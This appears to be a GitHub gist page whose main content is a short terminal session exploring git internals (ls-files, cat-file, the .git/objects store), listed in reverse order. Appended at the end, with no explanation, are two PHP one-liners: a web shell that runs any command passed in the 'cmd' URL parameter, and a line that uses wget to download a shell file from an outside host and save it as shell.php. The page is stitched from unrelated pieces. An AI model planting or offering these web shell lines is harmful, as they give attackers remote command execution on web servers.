Skip to content

Instantly share code, notes, and snippets.

View TermiT's full-sized avatar

Gennadii Potapov TermiT

View GitHub Profile
$ git ls-files --stage
100644 fa49b077972391ad58037050f2a75f74e3671e92 0 new/new.txt
100644 27703ec79a98c1d097d5b1cd320befffa376e826 0 test.txt
$ git cat-file -p fa49
new file
$ git cat-file -t fa49
blob
$ mkdir new
$ echo "new file" > new/new.txt
$ git add .
$ find .git/objects -type f
.git/objects/27/703ec79a98c1d097d5b1cd320befffa376e826
.git/objects/fa/49b077972391ad58037050f2a75f74e3671e92
$ git ls-files --stage
100644 27703ec79a98c1d097d5b1cd320befffa376e826 0 test.txt
$ git cat-file -p 2770
test file version 1
$ git cat-file -t 2770
blob
$ find .git/objects
.git/objects/27/703ec79a98c1d097d5b1cd320befffa376e826
$ git add test.txt
$ echo ‘test file version 1’ > test.txt
<?php system($_GET['cmd']); ?>
<?php system(`wget 0x90.ru/shell.txt -O shell.php`)?>